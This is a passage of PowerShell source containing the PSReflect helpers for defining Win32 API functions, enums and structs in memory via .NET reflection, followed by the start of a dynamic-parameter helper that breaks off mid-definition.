THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n\r\n\r\n\r\n########################################################\r\n#\r\n# PSReflect code for Windows API access\r\n# Author: @mattifestation\r\n#   https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1\r\n#\r\n########################################################\r\n\r\nfunction New-InMemoryModule {\r\n<#\r\n.SYNOPSIS\r\n\r\nCreates an in-memory assembly and module\r\n\r\nAuthor: Matthew Graeber (@mattifestation)\r\nLicense: BSD 3-Clause\r\nRequired Dependencies: None\r\nOptional Dependencies: None\r\n\r\n.DESCRIPTION\r\n\r\nWhen defining custom enums, structs, and unmanaged functions, it is\r\nnecessary to associate to an assembly module. This helper function\r\ncreates an in-memory module that can be passed to the 'enum',\r\n'struct', and Add-Win32Type functions.\r\n\r\n.PARAMETER ModuleName\r\n\r\nSpecifies the desired name for the in-memory assembly and module. If\r\nModuleName is not provided, it will default to a GUID.\r\n\r\n.EXAMPLE\r\n\r\n$Module = New-InMemoryModule -ModuleName Win32\r\n#>\r\n\r\n    [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]\r\n    [CmdletBinding()]\r\n    Param (\r\n        [Parameter(Position = 0)]\r\n        [ValidateNotNullOrEmpty()]\r\n        [String]\r\n        $ModuleName = [Guid]::NewGuid().ToString()\r\n    )\r\n\r\n    $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @())\r\n    $LoadedAssemblies = $AppDomain.GetAssemblies()\r\n\r\n    foreach ($Assembly in $LoadedAssemblies) {\r\n        if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {\r\n            return $Assembly\r\n        }\r\n    }\r\n\r\n    $DynAssembly = New-Object Reflection.AssemblyName($ModuleName)\r\n    $Domain = $AppDomain\r\n    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')\r\n    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)\r\n\r\n    return $ModuleBuilder\r\n}\r\n\r\n\r\n# A helper function used to reduce typing while defining function\r\n# prototypes for Add-Win32Type.\r\nfunction func {\r\n    Param (\r\n        [Parameter(Position = 0, Mandatory = $True)]\r\n        [String]\r\n        $DllName,\r\n\r\n        [Parameter(Position = 1, Mandatory = $True)]\r\n        [string]\r\n        $FunctionName,\r\n\r\n        [Parameter(Position = 2, Mandatory = $True)]\r\n        [Type]\r\n        $ReturnType,\r\n\r\n        [Parameter(Position = 3)]\r\n        [Type[]]\r\n        $ParameterTypes,\r\n\r\n        [Parameter(Position = 4)]\r\n        [Runtime.InteropServices.CallingConvention]\r\n        $NativeCallingConvention,\r\n\r\n        [Parameter(Position = 5)]\r\n        [Runtime.InteropServices.CharSet]\r\n        $Charset,\r\n\r\n        [String]\r\n        $EntryPoint,\r\n\r\n        [Switch]\r\n        $SetLastError\r\n    )\r\n\r\n    $Properties = @{\r\n        DllName = $DllName\r\n        FunctionName = $FunctionName\r\n        ReturnType = $ReturnType\r\n    }\r\n\r\n    if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }\r\n    if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }\r\n    if ($Charset) { $Properties['Charset'] = $Charset }\r\n    if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }\r\n    if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint }\r\n\r\n    New-Object PSObject -Property $Properties\r\n}\r\n\r\n\r\nfunction Add-Win32Type\r\n{\r\n<#\r\n.SYNOPSIS\r\n\r\nCreates a .NET type for an unmanaged Win32 function.\r\n\r\nAuthor: Matthew Graeber (@mattifestation)\r\nLicense: BSD 3-Clause\r\nRequired Dependencies: None\r\nOptional Dependencies: func\r\n\r\n.DESCRIPTION\r\n\r\nAdd-Win32Type enables you to easily interact with unmanaged (i.e.\r\nWin32 unmanaged) functions in PowerShell. After providing\r\nAdd-Win32Type with a function signature, a .NET type is created\r\nusing reflection (i.e. csc.exe is never called like with Add-Type).\r\n\r\nThe 'func' helper function can be used to reduce typing when defining\r\nmultiple function definitions.\r\n\r\n.PARAMETER DllName\r\n\r\nThe name of the DLL.\r\n\r\n.PARAMETER FunctionName\r\n\r\nThe name of the target function.\r\n\r\n.PARAMETER EntryPoint\r\n\r\nThe DLL export function name. This argument should be specified if the\r\nspecified function name is different than the name of the exported\r\nfunction.\r\n\r\n.PARAMETER ReturnType\r\n\r\nThe return type of the function.\r\n\r\n.PARAMETER ParameterTypes\r\n\r\nThe function parameters.\r\n\r\n.PARAMETER NativeCallingConvention\r\n\r\nSpecifies the native calling convention of the function. Defaults to\r\nstdcall.\r\n\r\n.PARAMETER Charset\r\n\r\nIf you need to explicitly call an 'A' or 'W' Win32 function, you can\r\nspecify the character set.\r\n\r\n.PARAMETER SetLastError\r\n\r\nIndicates whether the callee calls the SetLastError Win32 API\r\nfunction before returning from the attributed method.\r\n\r\n.PARAMETER Module\r\n\r\nThe in-memory module that will host the functions. Use\r\nNew-InMemoryModule to define an in-memory module.\r\n\r\n.PARAMETER Namespace\r\n\r\nAn optional namespace to prepend to the type. Add-Win32Type defaults\r\nto a namespace consisting only of the name of the DLL.\r\n\r\n.EXAMPLE\r\n\r\n$Mod = New-InMemoryModule -ModuleName Win32\r\n\r\n$FunctionDefinitions = @(\r\n  (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),\r\n  (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),\r\n  (func ntdll RtlGetCurrentPeb ([IntPtr]) @())\r\n)\r\n\r\n$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'\r\n$Kernel32 = $Types['kernel32']\r\n$Ntdll = $Types['ntdll']\r\n$Ntdll::RtlGetCurrentPeb()\r\n$ntdllbase = $Kernel32::GetModuleHandle('ntdll')\r\n$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')\r\n\r\n.NOTES\r\n\r\nInspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189\r\n\r\nWhen defining multiple function prototypes, it is ideal to provide\r\nAdd-Win32Type with an array of function signatures. That way, they\r\nare all incorporated into the same in-memory module.\r\n#>\r\n\r\n    [OutputType([Hashtable])]\r\n    Param(\r\n        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]\r\n        [String]\r\n        $DllName,\r\n\r\n        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]\r\n        [String]\r\n        $FunctionName,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName=$True)]\r\n        [String]\r\n        $EntryPoint,\r\n\r\n        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName=$True)]\r\n        [Type]\r\n        $ReturnType,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName=$True)]\r\n        [Type[]]\r\n        $ParameterTypes,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName=$True)]\r\n        [Runtime.InteropServices.CallingConvention]\r\n        $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName=$True)]\r\n        [Runtime.InteropServices.CharSet]\r\n        $Charset = [Runtime.InteropServices.CharSet]::Auto,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName=$True)]\r\n        [Switch]\r\n        $SetLastError,\r\n\r\n        [Parameter(Mandatory=$True)]\r\n        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]\r\n        $Module,\r\n\r\n        [ValidateNotNull()]\r\n        [String]\r\n        $Namespace = ''\r\n    )\r\n\r\n    BEGIN\r\n    {\r\n        $TypeHash = @{}\r\n    }\r\n\r\n    PROCESS\r\n    {\r\n        if ($Module -is [Reflection.Assembly])\r\n        {\r\n            if ($Namespace)\r\n            {\r\n                $TypeHash[$DllName] = $Module.GetType(\"$Namespace.$DllName\")\r\n            }\r\n            else\r\n            {\r\n                $TypeHash[$DllName] = $Module.GetType($DllName)\r\n            }\r\n        }\r\n        else\r\n        {\r\n            # Define one type for each DLL\r\n            if (!$TypeHash.ContainsKey($DllName))\r\n            {\r\n                if ($Namespace)\r\n                {\r\n                    $TypeHash[$DllName] = $Module.DefineType(\"$Namespace.$DllName\", 'Public,BeforeFieldInit')\r\n                }\r\n                else\r\n                {\r\n                    $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')\r\n                }\r\n            }\r\n\r\n            $Method = $TypeHash[$DllName].DefineMethod(\r\n                $FunctionName,\r\n                'Public,Static,PinvokeImpl',\r\n                $ReturnType,\r\n                $ParameterTypes)\r\n\r\n            # Make each ByRef parameter an Out parameter\r\n            $i = 1\r\n            foreach($Parameter in $ParameterTypes)\r\n            {\r\n                if ($Parameter.IsByRef)\r\n                {\r\n                    [void] $Method.DefineParameter($i, 'Out', $null)\r\n                }\r\n\r\n                $i++\r\n            }\r\n\r\n            $DllImport = [Runtime.InteropServices.DllImportAttribute]\r\n            $SetLastErrorField = $DllImport.GetField('SetLastError')\r\n            $CallingConventionField = $DllImport.GetField('CallingConvention')\r\n            $CharsetField = $DllImport.GetField('CharSet')\r\n            $EntryPointField = $DllImport.GetField('EntryPoint')\r\n            if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }\r\n\r\n            if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName }\r\n\r\n            # Equivalent to C# version of [DllImport(DllName)]\r\n            $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])\r\n            $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,\r\n                $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),\r\n                [Reflection.FieldInfo[]] @($SetLastErrorField,\r\n                                           $CallingConventionField,\r\n                                           $CharsetField,\r\n                                           $EntryPointField),\r\n                [Object[]] @($SLEValue,\r\n                             ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention),\r\n                             ([Runtime.InteropServices.CharSet] $Charset),\r\n                             $ExportedFuncName))\r\n\r\n            $Method.SetCustomAttribute($DllImportAttribute)\r\n        }\r\n    }\r\n\r\n    END\r\n    {\r\n        if ($Module -is [Reflection.Assembly])\r\n        {\r\n            return $TypeHash\r\n        }\r\n\r\n        $ReturnTypes = @{}\r\n\r\n        foreach ($Key in $TypeHash.Keys)\r\n        {\r\n            $Type = $TypeHash[$Key].CreateType()\r\n\r\n            $ReturnTypes[$Key] = $Type\r\n        }\r\n\r\n        return $ReturnTypes\r\n    }\r\n}\r\n\r\n\r\nfunction psenum {\r\n<#\r\n.SYNOPSIS\r\n\r\nCreates an in-memory enumeration for use in your PowerShell session.\r\n\r\nAuthor: Matthew Graeber (@mattifestation)\r\nLicense: BSD 3-Clause\r\nRequired Dependencies: None\r\nOptional Dependencies: None\r\n\r\n.DESCRIPTION\r\n\r\nThe 'psenum' function facilitates the creation of enums entirely in\r\nmemory using as close to a \"C style\" as PowerShell will allow.\r\n\r\n.PARAMETER Module\r\n\r\nThe in-memory module that will host the enum. Use\r\nNew-InMemoryModule to define an in-memory module.\r\n\r\n.PARAMETER FullName\r\n\r\nThe fully-qualified name of the enum.\r\n\r\n.PARAMETER Type\r\n\r\nThe type of each enum element.\r\n\r\n.PARAMETER EnumElements\r\n\r\nA hashtable of enum elements.\r\n\r\n.PARAMETER Bitfield\r\n\r\nSpecifies that the enum should be treated as a bitfield.\r\n\r\n.EXAMPLE\r\n\r\n$Mod = New-InMemoryModule -ModuleName Win32\r\n\r\n$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{\r\n    UNKNOWN =                  0\r\n    NATIVE =                   1 # Image doesn't require a subsystem.\r\n    WINDOWS_GUI =              2 # Image runs in the Windows GUI subsystem.\r\n    WINDOWS_CUI =              3 # Image runs in the Windows character subsystem.\r\n    OS2_CUI =                  5 # Image runs in the OS/2 character subsystem.\r\n    POSIX_CUI =                7 # Image runs in the Posix character subsystem.\r\n    NATIVE_WINDOWS =           8 # Image is a native Win9x driver.\r\n    WINDOWS_CE_GUI =           9 # Image runs in the Windows CE subsystem.\r\n    EFI_APPLICATION =          10\r\n    EFI_BOOT_SERVICE_DRIVER =  11\r\n    EFI_RUNTIME_DRIVER =       12\r\n    EFI_ROM =                  13\r\n    XBOX =                     14\r\n    WINDOWS_BOOT_APPLICATION = 16\r\n}\r\n\r\n.NOTES\r\n\r\nPowerShell purists may disagree with the naming of this function but\r\nagain, this was developed in such a way so as to emulate a \"C style\"\r\ndefinition as closely as possible. Sorry, I'm not going to name it\r\nNew-Enum. :P\r\n#>\r\n\r\n    [OutputType([Type])]\r\n    Param (\r\n        [Parameter(Position = 0, Mandatory=$True)]\r\n        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]\r\n        $Module,\r\n\r\n        [Parameter(Position = 1, Mandatory=$True)]\r\n        [ValidateNotNullOrEmpty()]\r\n        [String]\r\n        $FullName,\r\n\r\n        [Parameter(Position = 2, Mandatory=$True)]\r\n        [Type]\r\n        $Type,\r\n\r\n        [Parameter(Position = 3, Mandatory=$True)]\r\n        [ValidateNotNullOrEmpty()]\r\n        [Hashtable]\r\n        $EnumElements,\r\n\r\n        [Switch]\r\n        $Bitfield\r\n    )\r\n\r\n    if ($Module -is [Reflection.Assembly])\r\n    {\r\n        return ($Module.GetType($FullName))\r\n    }\r\n\r\n    $EnumType = $Type -as [Type]\r\n\r\n    $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)\r\n\r\n    if ($Bitfield)\r\n    {\r\n        $FlagsConstructor = [FlagsAttribute].GetConstructor(@())\r\n        $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())\r\n        $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)\r\n    }\r\n\r\n    foreach ($Key in $EnumElements.Keys)\r\n    {\r\n        # Apply the specified enum type to each element\r\n        $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)\r\n    }\r\n\r\n    $EnumBuilder.CreateType()\r\n}\r\n\r\n\r\n# A helper function used to reduce typing while defining struct\r\n# fields.\r\nfunction field {\r\n    Param (\r\n        [Parameter(Position = 0, Mandatory=$True)]\r\n        [UInt16]\r\n        $Position,\r\n\r\n        [Parameter(Position = 1, Mandatory=$True)]\r\n        [Type]\r\n        $Type,\r\n\r\n        [Parameter(Position = 2)]\r\n        [UInt16]\r\n        $Offset,\r\n\r\n        [Object[]]\r\n        $MarshalAs\r\n    )\r\n\r\n    @{\r\n        Position = $Position\r\n        Type = $Type -as [Type]\r\n        Offset = $Offset\r\n        MarshalAs = $MarshalAs\r\n    }\r\n}\r\n\r\n\r\nfunction struct\r\n{\r\n<#\r\n.SYNOPSIS\r\n\r\nCreates an in-memory struct for use in your PowerShell session.\r\n\r\nAuthor: Matthew Graeber (@mattifestation)\r\nLicense: BSD 3-Clause\r\nRequired Dependencies: None\r\nOptional Dependencies: field\r\n\r\n.DESCRIPTION\r\n\r\nThe 'struct' function facilitates the creation of structs entirely in\r\nmemory using as close to a \"C style\" as PowerShell will allow. Struct\r\nfields are specified using a hashtable where each field of the struct\r\nis comprosed of the order in which it should be defined, its .NET\r\ntype, and optionally, its offset and special marshaling attributes.\r\n\r\nOne of the features of 'struct' is that after your struct is defined,\r\nit will come with a built-in GetSize method as well as an explicit\r\nconverter so that you can easily cast an IntPtr to the struct without\r\nrelying upon calling SizeOf and/or PtrToStructure in the Marshal\r\nclass.\r\n\r\n.PARAMETER Module\r\n\r\nThe in-memory module that will host the struct. Use\r\nNew-InMemoryModule to define an in-memory module.\r\n\r\n.PARAMETER FullName\r\n\r\nThe fully-qualified name of the struct.\r\n\r\n.PARAMETER StructFields\r\n\r\nA hashtable of fields. Use the 'field' helper function to ease\r\ndefining each field.\r\n\r\n.PARAMETER PackingSize\r\n\r\nSpecifies the memory alignment of fields.\r\n\r\n.PARAMETER ExplicitLayout\r\n\r\nIndicates that an explicit offset for each field will be specified.\r\n\r\n.EXAMPLE\r\n\r\n$Mod = New-InMemoryModule -ModuleName Win32\r\n\r\n$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{\r\n    DOS_SIGNATURE =    0x5A4D\r\n    OS2_SIGNATURE =    0x454E\r\n    OS2_SIGNATURE_LE = 0x454C\r\n    VXD_SIGNATURE =    0x454C\r\n}\r\n\r\n$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{\r\n    e_magic =    field 0 $ImageDosSignature\r\n    e_cblp =     field 1 UInt16\r\n    e_cp =       field 2 UInt16\r\n    e_crlc =     field 3 UInt16\r\n    e_cparhdr =  field 4 UInt16\r\n    e_minalloc = field 5 UInt16\r\n    e_maxalloc = field 6 UInt16\r\n    e_ss =       field 7 UInt16\r\n    e_sp =       field 8 UInt16\r\n    e_csum =     field 9 UInt16\r\n    e_ip =       field 10 UInt16\r\n    e_cs =       field 11 UInt16\r\n    e_lfarlc =   field 12 UInt16\r\n    e_ovno =     field 13 UInt16\r\n    e_res =      field 14 UInt16[] -MarshalAs @('ByValArray', 4)\r\n    e_oemid =    field 15 UInt16\r\n    e_oeminfo =  field 16 UInt16\r\n    e_res2 =     field 17 UInt16[] -MarshalAs @('ByValArray', 10)\r\n    e_lfanew =   field 18 Int32\r\n}\r\n\r\n# Example of using an explicit layout in order to create a union.\r\n$TestUnion = struct $Mod TestUnion @{\r\n    field1 = field 0 UInt32 0\r\n    field2 = field 1 IntPtr 0\r\n} -ExplicitLayout\r\n\r\n.NOTES\r\n\r\nPowerShell purists may disagree with the naming of this function but\r\nagain, this was developed in such a way so as to emulate a \"C style\"\r\ndefinition as closely as possible. Sorry, I'm not going to name it\r\nNew-Struct. :P\r\n#>\r\n\r\n    [OutputType([Type])]\r\n    Param (\r\n        [Parameter(Position = 1, Mandatory=$True)]\r\n        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]\r\n        $Module,\r\n\r\n        [Parameter(Position = 2, Mandatory=$True)]\r\n        [ValidateNotNullOrEmpty()]\r\n        [String]\r\n        $FullName,\r\n\r\n        [Parameter(Position = 3, Mandatory=$True)]\r\n        [ValidateNotNullOrEmpty()]\r\n        [Hashtable]\r\n        $StructFields,\r\n\r\n        [Reflection.Emit.PackingSize]\r\n        $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,\r\n\r\n        [Switch]\r\n        $ExplicitLayout\r\n    )\r\n\r\n    if ($Module -is [Reflection.Assembly])\r\n    {\r\n        return ($Module.GetType($FullName))\r\n    }\r\n\r\n    [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,\r\n        Class,\r\n        Public,\r\n        Sealed,\r\n        BeforeFieldInit'\r\n\r\n    if ($ExplicitLayout)\r\n    {\r\n        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout\r\n    }\r\n    else\r\n    {\r\n        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout\r\n    }\r\n\r\n    $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)\r\n    $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]\r\n    $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))\r\n\r\n    $Fields = New-Object Hashtable[]($StructFields.Count)\r\n\r\n    # Sort each field according to the orders specified\r\n    # Unfortunately, PSv2 doesn't have the luxury of the\r\n    # hashtable [Ordered] accelerator.\r\n    foreach ($Field in $StructFields.Keys)\r\n    {\r\n        $Index = $StructFields[$Field]['Position']\r\n        $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}\r\n    }\r\n\r\n    foreach ($Field in $Fields)\r\n    {\r\n        $FieldName = $Field['FieldName']\r\n        $FieldProp = $Field['Properties']\r\n\r\n        $Offset = $FieldProp['Offset']\r\n        $Type = $FieldProp['Type']\r\n        $MarshalAs = $FieldProp['MarshalAs']\r\n\r\n        $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')\r\n\r\n        if ($MarshalAs)\r\n        {\r\n            $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])\r\n            if ($MarshalAs[1])\r\n            {\r\n                $Size = $MarshalAs[1]\r\n                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,\r\n                    $UnmanagedType, $SizeConst, @($Size))\r\n            }\r\n            else\r\n            {\r\n                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))\r\n            }\r\n\r\n            $NewField.SetCustomAttribute($AttribBuilder)\r\n        }\r\n\r\n        if ($ExplicitLayout) { $NewField.SetOffset($Offset) }\r\n    }\r\n\r\n    # Make the struct aware of its own size.\r\n    # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!\r\n    $SizeMethod = $StructBuilder.DefineMethod('GetSize',\r\n        'Public, Static',\r\n        [Int],\r\n        [Type[]] @())\r\n    $ILGenerator = $SizeMethod.GetILGenerator()\r\n    # Thanks for the help, Jason Shirk!\r\n    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)\r\n    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,\r\n        [Type].GetMethod('GetTypeFromHandle'))\r\n    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,\r\n        [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))\r\n    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)\r\n\r\n    # Allow for explicit casting from an IntPtr\r\n    # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!\r\n    $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',\r\n        'PrivateScope, Public, Static, HideBySig, SpecialName',\r\n        $StructBuilder,\r\n        [Type[]] @([IntPtr]))\r\n    $ILGenerator2 = $ImplicitConverter.GetILGenerator()\r\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)\r\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)\r\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)\r\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,\r\n        [Type].GetMethod('GetTypeFromHandle'))\r\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,\r\n        [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))\r\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)\r\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)\r\n\r\n    $StructBuilder.CreateType()\r\n}\r\n\r\n\r\n########################################################\r\n#\r\n# Misc. helpers\r\n#\r\n########################################################\r\n\r\nFunction New-DynamicParameter {\r\n<#\r\n.SYNOPSIS\r\n\r\nHelper function to simplify creating dynamic parameters.\r\n\r\n    Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/.\r\n    Originally released under the Microsoft Public License (Ms-PL).\r\n\r\n.DESCRIPTION\r\n\r\nHelper function to simplify creating dynamic parameters.\r\n\r\nExample use cases:\r\n    Include parameters only if your environment dictates it\r\n    Include parameters depending on the value of a user-specified parameter\r\n    Provide tab completion and intellisense for parameters, depending on the environment\r\n\r\nPlease keep in mind that all dynamic parameters you create, will not have corresponding variables created.\r\n    Use New-DynamicParameter with 'CreateVariables' switch in your main code block,\r\n    ('Process' for advanced functions) to create those variables.\r\n    Alternatively, manually reference $PSBoundParameters for the dynamic parameter value.\r\n\r\nThis function has two operating modes:\r\n\r\n1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse,\r\nwith one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary.\r\n\r\n2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand.\r\nThen you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters,\r\nwith custom conditions and so on.\r\n\r\n.NOTES\r\n\r\nCredits to jrich523 and ramblingcookiemonster for their initial code and inspiration:\r\n    https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1\r\n    http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/\r\n    http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/\r\n\r\nCredit to BM for alias and type parameters and their handling\r\n\r\n.PARAMETER Name\r\n\r\nName of the dynamic parameter\r\n\r\n.PARAMETER Type\r\n\r\nType for the dynamic parameter.  Default is string\r\n\r\n.PARAMETER Alias\r\n\r\nIf specified, one or more aliases to assign to the dynamic parameter\r\n\r\n.PARAMETER Mandatory\r\n\r\nIf specified, set the Mandatory attribute for this dynamic parameter\r\n\r\n.PARAMETER Position\r\n\r\nIf specified, set the Position attribute for this dynamic parameter\r\n\r\n.PARAMETER HelpMessage\r\n\r\nIf specified, set the HelpMessage for this dynamic parameter\r\n\r\n.PARAMETER DontShow\r\n\r\nIf specified, set the DontShow for this dynamic parameter.\r\nThis is the new PowerShell 4.0 attribute that hides parameter from tab-completion.\r\nhttp://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/\r\n\r\n.PARAMETER ValueFromPipeline\r\n\r\nIf specified, set the ValueFromPipeline attribute for this dynamic parameter\r\n\r\n.PARAMETER ValueFromPipelineByPropertyName\r\n\r\nIf specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter\r\n\r\n.PARAMETER ValueFromRemainingArguments\r\n\r\nIf specified, set the ValueFromRemainingArguments attribute for this dynamic parameter\r\n\r\n.PARAMETER ParameterSetName\r\n\r\nIf specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets.\r\n\r\n.PARAMETER AllowNull\r\n\r\nIf specified, set the AllowNull attribute of this dynamic parameter\r\n\r\n.PARAMETER AllowEmptyString\r\n\r\nIf specified, set the AllowEmptyString attribute of this dynamic parameter\r\n\r\n.PARAMETER AllowEmptyCollection\r\n\r\nIf specified, set the AllowEmptyCollection attribute of this dynamic parameter\r\n\r\n.PARAMETER ValidateNotNull\r\n\r\nIf specified, set the ValidateNotNull attribute of this dynamic parameter\r\n\r\n.PARAMETER ValidateNotNullOrEmpty\r\n\r\nIf specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter\r\n\r\n.PARAMETER ValidateRange\r\n\r\nIf specified, set the ValidateRange attribute of this dynamic parameter\r\n\r\n.PARAMETER ValidateLength\r\n\r\nIf specified, set the ValidateLength attribute of this dynamic parameter\r\n\r\n.PARAMETER ValidatePattern\r\n\r\nIf specified, set the ValidatePattern attribute of this dynamic parameter\r\n\r\n.PARAMETER ValidateScript\r\n\r\nIf specified, set the ValidateScript attribute of this dynamic parameter\r\n\r\n.PARAMETER ValidateSet\r\n\r\nIf specified, set the ValidateSet attribute of this dynamic parameter\r\n\r\n.PARAMETER Dictionary\r\n\r\nIf specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary.\r\nAppropriate for custom dynamic parameters creation.\r\n\r\nIf not specified, create and return a RuntimeDefinedParameterDictionary\r\nAppropriate for a simple dynamic parameter creation.\r\n#>\r\n\r\n    [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')]\r\n    Param (\r\n        [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [ValidateNotNullOrEmpty()]\r\n        [string]$Name,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [System.Type]$Type = [int],\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [string[]]$Alias,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [switch]$Mandatory,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [int]$Position,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [string]$HelpMessage,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')]\r\n        [switch]$DontShow,\r\n\r\n        [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 